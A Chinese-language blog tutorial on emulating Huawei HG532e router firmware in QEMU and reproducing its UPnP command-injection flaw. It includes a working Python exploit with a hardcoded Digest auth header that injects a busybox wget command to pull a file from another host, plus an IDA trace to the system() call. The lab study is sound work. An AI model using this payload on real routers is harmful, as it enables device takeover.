HG532e 是华为的一款无线路由器。 这个漏洞是由蜜罐捕获到payload 之后,才被checkpoint 披露出来的。
这都是好几年前的洞了,但是可以作为分析固件,模拟固件很好的学习例子。
首先固件模拟,需要现成的固件 下载链接 HG532e
下载不了可以留言给我。
固件模拟这里有两种方式:
一种是 利用现有的工具 firmware-analysis-toolkit 工具包直接运行固件,这里可以参考我路由器固件模拟环境搭建 这篇博客。运行完之后,就是一个模拟的路由器。
但这种方式有的路由器无法模拟出来。
第二种是 使用qemu 提供固件需要的运行环境,然后将固件放到环境中运行。
这里介绍第二种方式,并且总结一下使用qemu 遇到的坑。
安装qemu
这里搭建的环境是 ubuntu 18.04
sudo apt-get install qemu
#user mode,包含qemu-mips-static,qemu-mipsel-static,qemu-arm-static等
sudo apt-get install qemu-user-static
#system mode,包含qemu-system-mips,qemu-system-mipsel,qemu-system-arm等
sudo apt-get install qemu-system
sudo apt-get install libglib2.0 libglib2.0-dev
sudo apt-get install autoconf automake libtool
安装桥接网络所需要的依赖文件
sudo apt-get install uml-utilities bridge-utils
修改Ubuntu 主机的网络配置,修改系统的网络接口配置文件/etc/network/interfaces。
修改Qemu文件, 如果没有,就创建QEMU网络接口启动脚本,重启网络使配置生效。
在qemu-ifup 中写入如下内容
sudo /sbin/ifconfig $1 0.0.0.0 promisc up 将ens33 IP设置为0
sudo /sbin/brtcl addif br0 $1 // 将br0和eth0绑定在一起
保存文件后,给文件执行权限,然后重启网络使配置生效
启动桥接网络
坑1: 这里需要将虚拟机重启一下,否则可能在启动qemu之后,qemu 虚拟机依旧无法分配IP。
从https://people.debian.org/~aurel32/qemu/mips/下载对应的debian mips qemu镜像
为什么要下载mips 的镜像,这是因为固件的指令架构是mips 架构。 如下图所示
下载完之后执行
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
启动之后输入 root/root 登录进去
然后ifconfig 查看一下网卡信息,ping 一下百度 测试网络联通性
先利用binwalk 解包。
然后使用scp 将 解开的固件文件夹中squashfs-root 文件夹传到运行的qemu 环境中
scp -r ./squashfs-root root@虚拟机ip:/root/
然后切换到路由器的根目录中
启动upnp
启动mic, 启动mic 之后,可能会没有网络,有的时候启动mic 之后,eth0 会没有网络,这时候需要ifdown eth0 , ifup eth0 重启一下网卡。
查看端口是否打开
这个时候说明路由器的upnp 服务运行起来了
起一个http 服务
运行exp
查看路由器内部
payload
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''
;/bin/busybox wget -g 192.168.124.187 -l /tmp/1;
HUAWEIUPNP
'''
requests.post('http://192.168.124.130:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
根据公布的漏洞信息,里面有一些字符串 ctrlt、 DeviceUpgrade_1、NewStatusURL 等这些字符串。以及漏洞产生点的 端口号37215 。
我们可以在固件中搜索这些字符串, 并且可以看一下37215 这个端口所在的文件。
查看端口37215, 我们可以看到upnp 字符串,这里可以猜测,37215 和upnp 协议有关。 因此模拟固件的时候会运行upnp和mic
将upnp 放到IDA中进行分析
查看View-string 字符串。 可以看到NewStatusURL.
双击到如下所示
选中查看字符串的交叉引用。
跳转到如下图所示,找到了upnp 的关键代码
可以分析出来 其中a0 参数是会的内容是会传到system()中执行的。因此可以实现命令注入
snprintf(a0,0x400,“upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r %s -d -”,a3)
很久没有写博客了,最近完成了很多重要的事情,也确定了自己的方向和目标。
希望自己能一直在安全行业坚持下去,不断的学习,夯实基础。
i am hacker , i can change things。 happy hacking every day。
种一颗树最好的时间是十年前和现在。